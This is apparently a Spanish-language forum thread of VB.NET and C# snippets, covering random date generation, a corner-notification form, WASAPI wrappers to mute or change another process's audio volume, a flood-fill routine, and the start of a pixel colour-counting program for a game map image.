If (DateTimeUtil.rng Is Nothing) Then
DateTimeUtil.rng = New Random(Seed:=Environment.TickCount)
End If
' Generate random date with 00:00:00 time.
Dim daysRange As Integer = dateMax.Subtract(dateMin).Days
Dim dt As Date = dateMin.AddDays(DateTimeUtil.rng.Next(daysRange))
' Generate random time.
Dim hours As Integer = DateTimeUtil.rng.Next(dateMax.TimeOfDay.Hours + 1)
Dim minutes As Integer = DateTimeUtil.rng.Next(dateMax.TimeOfDay.Minutes + 1)
Dim seconds As Integer = DateTimeUtil.rng.Next(dateMax.TimeOfDay.Seconds + 1)
Dim milliseconds As Integer = DateTimeUtil.rng.Next(dateMax.TimeOfDay.Milliseconds + 1)
' Return the resulting date.
Return New Date(dt.Year, dt.Month, dt.Day, hours, minutes, seconds, milliseconds, dt.Kind)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a random <see cref="Date"/> in range between <see cref="DateTime.MinValue"/> and the specified date.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim maxDate As Date = Date.MaxValue
''' Dim ramdomDate As Date = GetRandomDateTime(maxDate)
'''
''' Console.WriteLine(randomDate.ToString())
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="dateMax">
''' The maximum <see cref="Date"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Date"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetRandomDateTime(ByVal dateMax As Date) As Date
Return DateTimeUtil.GetRandomDateTime(Date.MinValue, dateMax)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a random <see cref="Date"/> in range between <see cref="DateTime.MinValue"/> and <see cref="DateTime.MaxValue"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim ramdomDate As Date = GetRandomDateTime()
'''
''' Console.WriteLine(randomDate.ToString())
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Date"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetRandomDateTime() As Date
Return DateTimeUtil.GetRandomDateTime(Date.MinValue, Date.MaxValue)
End Function
#End Region
End Class
mi código no es como el de todo los gurus de aquí , pero lo publico para el que le sirva.
Bueno el siguiente código hará que puedan mostrar un formulario en la esquina de la pantalla , como si fuera una notificación.
[EDITADO] (Se ha corregido el error que daba y ahora son menos lineas de código) ;D
'Para usarlo
'FormNotificacion(NOMBRE DE SU FORMULARIO a mostrar)
Private Sub FormNotificacion(ByVal formulario As Object)
Dim fh As Form = TryCast(formulario, Form)
fh.ShowInTaskbar = False
fh.Show()
fh.Location = New Point(CInt((Screen.PrimaryScreen.WorkingArea.Width / 1) - (formulario.Width / 1)), CInt((Screen.PrimaryScreen.WorkingArea.Height / 1) - (formulario.Height / 1)))
End Sub
¿Cómo silenciar el volumen de un proceso externo y/o cambiar su nivel de volumen?.
El siguiente código contiene varias definiciones nativas de la API de WASAPI, y una clase por nombre "AudioUtil" la cual contiene varios métodos estáticos que sirven como wrappers de esta API para lograr nuestro objetivo de forma sencilla y reutilizable.
Simplemente copiar y pegar directamente todo este bloque de código en una nueva clase:
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Globalization
Imports System.Runtime.InteropServices
Imports ElektroKit.Interop.Win32
#End Region
#Region " Interoperability "
Namespace ElektroKit.Interop
#Region " Win32 API "
Namespace Win32
#Region " EDataFlow "
''' <summary>
''' Defines constants that indicate the direction in which audio data flows between an audio endpoint device and an application.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/mmdeviceapi/ne-mmdeviceapi-__midl___midl_itf_mmdeviceapi_0000_0000_0001"/>
''' </remarks>
Public Enum EDataFlow As Integer
Render
Capture
All
EDataFlow_enum_count
End Enum
#End Region
#Region " ERole "
''' <summary>
''' Defines constants that indicate the role that the system has assigned to an audio endpoint device.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/mmdeviceapi/ne-mmdeviceapi-__midl___midl_itf_mmdeviceapi_0000_0000_0002"/>
''' </remarks>
Public Enum ERole As Integer
Console
Multimedia
Communications
ERole_enum_count
End Enum
#End Region
#Region " MMDeviceEnumerator "
''' <summary>
''' <c>CLSID_MMDeviceEnumerator</c>.
''' </summary>
<ComImport>
<Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")>
Public Class MMDeviceEnumerator
End Class
#End Region
#Region " IMMDeviceEnumerator "
''' <summary>
''' Provides methods for enumerating multimedia device resources.
''' <para></para>
''' In the current implementation of the MMDevice API,
''' the only device resources that this interface can enumerate are audio endpoint devices.
''' <para></para>
''' A client obtains a reference to an <see cref="IMMDeviceEnumerator"/> interface by calling the CoCreateInstance.
''' <para></para>
''' The device resources enumerated by the methods in the IMMDeviceEnumerator interface are represented as
''' collections of objects with <see cref="IMMDevice"/> interfaces.
''' <para></para>
''' A collection has an IMMDeviceCollection interface.
''' The IMMDeviceEnumerator.EnumAudioEndpoints method creates a device collection.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/mmdeviceapi/nn-mmdeviceapi-immdeviceenumerator"/>
''' </remarks>
<ComImport>
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
<Guid("A95664D2-9614-4F35-A746-DE8DB63617E6")>
Public Interface IMMDeviceEnumerator
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented1() As Integer
<PreserveSig>
Function GetDefaultAudioEndpoint(<[In]> <MarshalAs(UnmanagedType.I4)> ByVal dataFlow As EDataFlow,
<[In]> <MarshalAs(UnmanagedType.I4)> ByVal role As ERole,
<Out> <MarshalAs(UnmanagedType.Interface)> ByRef refDevice As IMMDevice) As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
Function NotImplemented2() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
Function NotImplemented3() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
Function NotImplemented4() As Integer
End Interface
#End Region
#Region " IMMDevice "
''' <summary>
''' Provides methods for enumerating multimedia device resources.
''' <para></para>
''' In the current implementation of the MMDevice API,
''' the only device resources that this interface can enumerate are audio endpoint devices.
''' <para></para>
''' A client obtains a reference to an <see cref="IMMDeviceEnumerator"/> interface by calling the CoCreateInstance.
''' <para></para>
''' The device resources enumerated by the methods in the IMMDeviceEnumerator interface are represented as
''' collections of objects with <see cref="IMMDevice"/> interfaces.
''' <para></para>
''' A collection has an IMMDeviceCollection interface.
''' The IMMDeviceEnumerator.EnumAudioEndpoints method creates a device collection.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/mmdeviceapi/nn-mmdeviceapi-immdevice"/>
''' </remarks>
<ComImport>
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
<Guid("D666063F-1587-4E43-81F1-B948E807363F")>
Public Interface IMMDevice
<PreserveSig>
Function Activate(ByRef ref¡d As Guid, ByVal clsCtx As Integer, ByVal activationParams As IntPtr,
<MarshalAs(UnmanagedType.IUnknown)> ByRef refInterface As Object) As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented1() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented2() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented3() As Integer
End Interface
#End Region
#Region " IAudioSessionControl "
''' <summary>
''' Enables a client to configure the control parameters for an audio session and to monitor events in the session.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audiopolicy/nn-audiopolicy-iaudiosessioncontrol"/>
''' </remarks>
<ComImport>
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
<Guid("F4B1A599-7266-4319-A8CA-E70ACB11E8CD")>
Public Interface IAudioSessionControl
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented1() As Integer
<PreserveSig>
Function GetDisplayName(<Out> <MarshalAs(UnmanagedType.LPWStr)> ByRef refDisplayName As String) As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented2() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented3() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented4() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented5() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented6() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented7() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented8() As Integer
End Interface
#End Region
#Region " IAudioSessionControl2 "
''' <summary>
''' Enables a client to configure the control parameters for an audio session and to monitor events in the session.
''' <para></para>
''' The IAudioClient.Initialize method initializes a stream object and assigns the stream to an audio session.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audiopolicy/nn-audiopolicy-iaudiosessioncontrol"/>
''' </remarks>
<ComImport>
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
<Guid("BFB7FF88-7239-4FC9-8FA2-07C950BE9C6D")>
Public Interface IAudioSessionControl2
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented1() As Integer
<PreserveSig>
Function GetDisplayName(<Out> <MarshalAs(UnmanagedType.LPWStr)> ByRef refDisplayName As String) As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented2() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented3() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented4() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented5() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented6() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented7() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented8() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented9() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented10() As Integer
<PreserveSig>
Function GetProcessId(<Out> ByRef refValue As UInteger) As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented11() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented12() As Integer
End Interface
#End Region
#Region " IAudioSessionEnumerator "
''' <summary>
''' Enumerates audio sessions on an audio device.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audiopolicy/nn-audiopolicy-iaudiosessionenumerator"/>
''' </remarks>
<ComImport>
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
<Guid("E2F5BB11-0570-40CA-ACDD-3AA01277DEE8")>
Public Interface IAudioSessionEnumerator
<PreserveSig>
Function GetCount(ByRef refSessionCount As Integer) As Integer
<PreserveSig>
Function GetSession(ByVal sessionCount As Integer, ByRef refSession As IAudioSessionControl) As Integer
End Interface
#End Region
#Region " IAudioSessionManager2 "
''' <summary>
''' Enables an application to manage submixes for the audio device.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audiopolicy/nn-audiopolicy-iaudiosessionmanager2"/>
''' </remarks>
<ComImport>
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
<Guid("77AA99A0-1BD6-484F-8BC7-2C654C9A9B6F")>
Public Interface IAudioSessionManager2
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented1() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented2() As Integer
<PreserveSig>
Function GetSessionEnumerator(<Out> <MarshalAs(UnmanagedType.Interface)> ByRef refSessionEnum As IAudioSessionEnumerator) As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented3() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented4() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented5() As Integer
<EditorBrowsable(EditorBrowsableState.Never)>
<PreserveSig>
Function NotImplemented6() As Integer
End Interface
#End Region
#Region " ISimpleAudioVolume "
''' <summary>
''' Enables a client to control the master volume level of an audio session.
''' </summary>
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audioclient/nn-audioclient-isimpleaudiovolume"/>
''' </remarks>
<ComImport>
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
<Guid("87CE5498-68D6-44E5-9215-6DA47EF883D8")>
Public Interface ISimpleAudioVolume
<PreserveSig>
Function SetMasterVolume(<[In]> <MarshalAs(UnmanagedType.R4)> ByVal levelNormalization As Single,
<[In]> <MarshalAs(UnmanagedType.LPStruct)> ByVal eventContext As Guid) As Integer
<PreserveSig>
Function GetMasterVolume(<Out> <MarshalAs(UnmanagedType.R4)> ByRef refLevelNormalization As Single) As Integer
<PreserveSig>
Function SetMute(<[In]> <MarshalAs(UnmanagedType.Bool)> ByVal isMuted As Boolean,
<[In]> <MarshalAs(UnmanagedType.LPStruct)> ByVal eventContext As Guid) As Integer
<PreserveSig>
Function GetMute(<Out> <MarshalAs(UnmanagedType.Bool)> ByRef refIsMuted As Boolean) As Integer
End Interface
#End Region
End Namespace
#End Region
#Region " Inter-process Communication "
Namespace IPC
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains audio related utilities to apply on external processes.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class AudioUtil
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="AudioUtil"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Mute the audio volume of the specified process.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pr">
''' The <see cref="Process"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Shared Sub MuteApplication(ByVal pr As Process)
Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
If (volume IsNot Nothing) Then
Dim guid As Guid = Guid.Empty
volume.SetMute(True, guid)
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Unmute the audio volume of the specified process.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pr">
''' The <see cref="Process"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Shared Sub UnmuteApplication(ByVal pr As Process)
Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
If (volume IsNot Nothing) Then
Dim guid As Guid = Guid.Empty
volume.SetMute(False, guid)
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value that determine whether the audio volume of the specified application is muted.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pr">
''' The <see cref="Process"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' Returns <see langword="True"/> if the application is muted, <see langword="False"/> otherwise.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function IsApplicationMuted(ByVal pr As Process) As Boolean
Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
If (volume IsNot Nothing) Then
Dim isMuted As Boolean
volume.GetMute(isMuted)
Return isMuted
End If
Return False
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the audio volume level of the specified process.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pr">
''' The <see cref="Process"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The audio volume, expressed in the range between 0 and 100.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetApplicationVolume(ByVal pr As Process) As Integer
Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
If (volume IsNot Nothing) Then
Dim levelNormalization As Single = Nothing
volume.GetMasterVolume(levelNormalization)
Return CInt(levelNormalization * 100)
End If
Return 100
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sets the audio volume level for the specified process.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pr">
''' The <see cref="Process"/>.
''' </param>
'''
''' <param name="volumeLevel">
''' The new volume level, expressed in the range between 0 and 100.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub SetApplicationVolume(ByVal pr As Process, ByVal volumeLevel As Integer)
If (volumeLevel < 0) OrElse (volumeLevel > 100) Then
Throw New ArgumentOutOfRangeException(paramName:=NameOf(volumeLevel),
actualValue:=volumeLevel,
message:=String.Format(CultureInfo.CurrentCulture,
"A value of '{0}' is not valid for '{1}'. '{1}' must be between 0 and 100.",
volumeLevel, NameOf(volumeLevel)))
End If
Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
If (volume IsNot Nothing) Then
Dim guid As Guid = Guid.Empty
volume.SetMasterVolume((volumeLevel / 100.0F), guid)
End If
End Sub
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Enumerate all the <see cref="IAudioSessionControl2"/> of the default (<see cref="IMMDevice"/>) audio device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Credits to @Simon Mourier: <see href="https://stackoverflow.com/a/14322736/1248295"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="IEnumerable(Of IAudioSessionControl2)"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Shared Iterator Function EnumerateAudioSessionControls() As IEnumerable(Of IAudioSessionControl2)
' Get the (1st render + multimedia) aodio device.
Dim deviceEnumerator As IMMDeviceEnumerator = DirectCast(New MMDeviceEnumerator(), IMMDeviceEnumerator)
Dim device As IMMDevice = Nothing
deviceEnumerator.GetDefaultAudioEndpoint(EDataFlow.Render, ERole.Multimedia, device)
' Activate the session manager.
Dim IID_IAudioSessionManager2 As Guid = GetType(IAudioSessionManager2).GUID
Dim obj As Object = Nothing
device.Activate(IID_IAudioSessionManager2, 0, IntPtr.Zero, obj)
Dim manager As IAudioSessionManager2 = DirectCast(obj, IAudioSessionManager2)
' Enumerate sessions for on this device.
Dim sessionEnumerator As IAudioSessionEnumerator = Nothing
manager.GetSessionEnumerator(sessionEnumerator)
Dim sessionCount As Integer
sessionEnumerator.GetCount(sessionCount)
For i As Integer = 0 To (sessionCount - 1)
Dim ctl As IAudioSessionControl = Nothing
Dim ctl2 As IAudioSessionControl2
sessionEnumerator.GetSession(i, ctl)
ctl2 = DirectCast(ctl, IAudioSessionControl2)
Yield ctl2
Marshal.ReleaseComObject(ctl2)
Marshal.ReleaseComObject(ctl)
Next i
Marshal.ReleaseComObject(sessionEnumerator)
Marshal.ReleaseComObject(manager)
Marshal.ReleaseComObject(device)
Marshal.ReleaseComObject(deviceEnumerator)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Searchs and returns the corresponding <see cref="ISimpleAudioVolume"/> for the specified <see cref="Process"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Credits to @Simon Mourier: <see href="https://stackoverflow.com/a/14322736/1248295"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pr">
''' The <see cref="Process"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="ISimpleAudioVolume"/>,
''' or <see langword="Nothing"/> if a <see cref="ISimpleAudioVolume"/> is not found for the specified process.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Shared Function GetVolumeObject(ByVal pr As Process) As ISimpleAudioVolume
For Each ctl As IAudioSessionControl2 In AudioUtil.EnumerateAudioSessionControls()
Dim pId As UInteger
ctl.GetProcessId(pId)
If (pId = pr.Id) Then
Return DirectCast(ctl, ISimpleAudioVolume)
End If
Next ctl
Return Nothing
End Function
#End Region
End Class
End Namespace
#End Region
End Namespace
#End Region
Ejemplos de uso:
Imports ElektroKit.Interop.IPC
Imports System.Linq
' Get the process we want to modify.
' Note the process must have an audio mixer available to be able mute it and/or to modify its volume level.
' In other words, the process must have an audio signal enabled, like for example a videogame or a music player, or any other process with an audio output.
Dim pr As Process = Process.GetProcessesByName("process name").SingleOrDefault()
' ----------------------- '
' GET OR SET VOLUME LEVEL '
' ----------------------- '
Dim volumeLevel As Integer ' resulting value of this variable will be in range of 0% to 100%.
' Get current process volume level.
volumeLevel = AudioUtil.GetApplicationVolume(pr)
Console.WriteLine(String.Format("Current volume level: {0}%", volumeLevel))
' Set process volume level to a new value.
AudioUtil.SetApplicationVolume(pr, 50) ' 50%
volumeLevel = AudioUtil.GetApplicationVolume(pr)
Console.WriteLine(String.Format("New volume level: {0}%", volumeLevel))
' ------------------------ '
' MUTE OR UNMUTE A PROCESS '
' ------------------------ '
Dim isMuted As Boolean
' Mute the aplication.
AudioUtil.MuteApplication(pr)
isMuted = AudioUtil.IsApplicationMuted(pr)
Console.WriteLine(String.Format("Is appliaction properly muted: {0}", isMuted))
' Mute the aplication.
AudioUtil.UnmuteApplication(pr)
isMuted = AudioUtil.IsApplicationMuted(pr)
Console.WriteLine(String.Format("Is appliaction properly unmuted?: {0}", Not isMuted))
Eso es todo.
Como rellenar un array siguiendo el algoritmo Flood Fill usando HashSet
https://es.wikipedia.org/wiki/Algoritmo_de_relleno_por_difusi%C3%B3n
Imports System.Collections.Generic
Imports System.Linq
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
Module F
<Extension()>
Sub FloodFill(Of T)(ByVal source As T(), ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal target As T, ByVal replacement As T)
Dim i As Integer = 0
FloodFill(source, x, y, width, height, target, replacement, i)
End Sub
<Extension()>
Sub FloodFill(Of T)(ByVal source As T(), ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal target As T, ByVal replacement As T, <Out> ByRef i As Integer)
i = 0
Dim queue As HashSet(Of Integer) = New HashSet(Of Integer)()
queue.Add(Pn(x, y, width))
While queue.Count > 0
Dim _i As Integer = queue.First(), _x As Integer = _i Mod width, _y As Integer = _i / width
queue.Remove(_i)
If source(_i).Equals(target) Then source(_i) = replacement
For offsetX As Integer = -1 To 2 - 1
For offsetY As Integer = -1 To 2 - 1
If offsetX = 0 AndAlso offsetY = 0 OrElse offsetX = offsetY OrElse offsetX = -offsetY OrElse -offsetX = offsetY Then Continue For
Dim targetIndex As Integer = Pn(_x + offsetX, _y + offsetY, width)
Dim _tx As Integer = targetIndex Mod width, _ty As Integer = targetIndex / width
If _tx < 0 OrElse _ty < 0 OrElse _tx >= width OrElse _ty >= height Then Continue For
If Not queue.Contains(targetIndex) AndAlso source(targetIndex).Equals(target) Then
queue.Add(targetIndex)
i += 1
End If
Next
Next
End While
End Sub
Function Pn(ByVal x As Integer, ByVal y As Integer, ByVal w As Integer) As Integer
Return x + (y * w)
End Function
End Module
using System.Collections.Generic;
using System.Linq;
public static class F
{
/// <summary>
/// Floods the fill.
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="source">The source.</param>
/// <param name="x">The x.</param>
/// <param name="y">The y.</param>
/// <param name="width">The width.</param>
/// <param name="height">The height.</param>
/// <param name="target">The target to replace.</param>
/// <param name="replacement">The replacement.</param>
public static void FloodFill<T>(this T[] source, int x, int y, int width, int height, T target, T replacement)
{
int i = 0;
FloodFill(source, x, y, width, height, target, replacement, out i);
}
/// <summary>
/// Floods the array following Flood Fill algorithm
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="source">The source.</param>
/// <param name="x">The x.</param>
/// <param name="y">The y.</param>
/// <param name="width">The width.</param>
/// <param name="height">The height.</param>
/// <param name="target">The target to replace.</param>
/// <param name="replacement">The replacement.</param>
/// <param name="i">The iterations made (if you want to debug).</param>
public static void FloodFill<T>(this T[] source, int x, int y, int width, int height, T target, T replacement, out int i)
{
i = 0;
// Queue of pixels to process. :silbar:
HashSet<int> queue = new HashSet<int>();
queue.Add(Pn(x, y, width));
while (queue.Count > 0)
{
int _i = queue.First(),
_x = _i % width,
_y = _i / width;
queue.Remove(_i);
if (source[_i].Equals(target))
source[_i] = replacement;
for (int offsetX = -1; offsetX < 2; offsetX++)
for (int offsetY = -1; offsetY < 2; offsetY++)
{
// do not check origin or diagonal neighbours
if (offsetX == 0 && offsetY == 0 || offsetX == offsetY || offsetX == -offsetY || -offsetX == offsetY)
continue;
int targetIndex = Pn(_x + offsetX, _y + offsetY, width);
int _tx = targetIndex % width,
_ty = targetIndex / width;
// skip out of bounds point
if (_tx < 0 || _ty < 0 || _tx >= width || _ty >= height)
continue;
if (!queue.Contains(targetIndex) && source[targetIndex].Equals(target))
{
queue.Add(targetIndex);
++i;
}
}
}
}
public static int Pn(int x, int y, int w)
{
return x + (y * w);
}
}
EDIT: Añadidos using + función PN + codigo en VB.NET que para eso son los snippets de VB
Prueba de concepto: https://dotnetfiddle.net/ZacRiB
Un saludo.
Leer los pixeles de una imagen y contarlos siguiendo un diccionario estático de coloresBásicamente, la funcionalidad que tiene esto, es definir un diccionario estático de colores (con una enumeración donde se especifiquen los apartados que hay (si fuese necesario)), se itera todo pixel a pixel, y cada color se compara con la muestra sacando el porcentaje de similitud, si la similitud es del 90% o mayor se da por hecho que ese color pertenece a x enumeración del diccionario.
Para más INRI, le he añadido la utilidad de que se pueda leer desde Internet, lo que cambia si queremos leerlo desde el disco es que tenemos que llamar únicamente a System.IO.File.ReadAllBytes.
Aquí el codigo: https://github.com/z3nth10n/GTA-ColorCount/blob/master/CountColors/Program.cs
Nota: Tiene una versión compilada (para el que lo quiera probar).
Nota2: No está optimizado (memory leak & no se ha mirado si se puede optimizar desde el punto de vista de procesamiento de cpu), asi que, si se elige guardar puede llegar a ocupar 1GB en memoria (la imagen tiene 7000x5000, en bruto son unos 140MB (7000x5000x4 (ARGB)) en memoria.)
Codigo en VB.NET:
Imports System
Imports System.Net
Imports System.Drawing
Imports System.Drawing.Imaging
Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Collections.Generic
Imports System.Linq
Imports Color = zenthion.Color
Imports System.Diagnostics
Imports System.Reflection
Public Enum GroundType
Building
Asphalt
LightPavement
Pavement
Grass
DryGrass
Sand
Dirt
Mud
Water
Rails
Tunnel
BadCodingDark
BadCodingLight
BuildingLight
End Enum
Public Enum OrderingType
ByColor
[ByVal]
ByName
End Enum
Public Class Program
Public Shared colorToCompare As Color = Color.white
Public Shared orderingType As OrderingType = OrderingType.ByVal
Public Shared isDarkened As Boolean = False, isPosterized As Boolean = False, isOrdered As Boolean = True, saveTexture As Boolean = False
Private Shared ReadOnly Property SavingPath() As String
Get
Return Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "texture.png")
End Get
End Property
Public Shared Sub Main()
Dim imageBytes() As Byte = Nothing
' OriginalTexture: http://i.imgur.com/g9fRYbm.png
' TextureColor: https://image.ibb.co/dP3Nvf/texture-Color.png
Dim url As String = "https://image.ibb.co/dP3Nvf/texture-Color.png"
Using webClient = New WebClient()
imageBytes = webClient.DownloadData(url)
End Using
Dim sw As Stopwatch = Stopwatch.StartNew()
isDarkened = url = "https://image.ibb.co/dP3Nvf/texture-Color.png"
Dim colors As IEnumerable(Of Color) = Nothing
Dim bitmap As Bitmap = Nothing
Dim dict = GetColorCount(bitmap, imageBytes, (If(isDarkened, F.DarkenedMapColors, F.mapColors)).Values.AsEnumerable(), colors, isPosterized)
Console.WriteLine(DebugDict(dict))
Console.WriteLine("Num of colors: {0}", dict.Keys.Count)
If saveTexture Then
colors.ToArray().SaveBitmap(7000, 5000, SavingPath)
End If
bitmap.Dispose()
sw.Stop()
Console.WriteLine("Ellapsed: {0} s", (sw.ElapsedMilliseconds / 1000F).ToString("F2"))
Console.Read()
End Sub
Private Shared Function DebugDict(ByVal dict As Dictionary(Of Color, Integer)) As String
Dim num = dict.Select(Function(x) New With {Key .Name = x.Key.GetGroundType(isPosterized), Key .Similarity = x.Key.ColorSimilaryPerc(colorToCompare), Key .Val = x.Value, Key .ColR = x.Key.r, Key .ColG = x.Key.g, Key .ColB = x.Key.b}).GroupBy(Function(x) x.Name).Select(Function(x) New With {Key .Name = x.Key, Key .Similarity = x.Average(Function(y) y.Similarity), Key .Val = x.Sum(Function(y) y.Val), Key .Col = New Color(CByte(x.Average(Function(y) y.ColR)), CByte(x.Average(Function(y) y.ColG)), CByte(x.Average(Function(y) y.ColB)))})
Dim num1 = num
If isOrdered Then
num1 = If(orderingType = OrderingType.ByName, num.OrderBy(Function(x) x.Name), num.OrderByDescending(Function(x)If(orderingType = OrderingType.ByColor, x.Col.ColorSimilaryPerc(colorToCompare), x.Val)))
End If
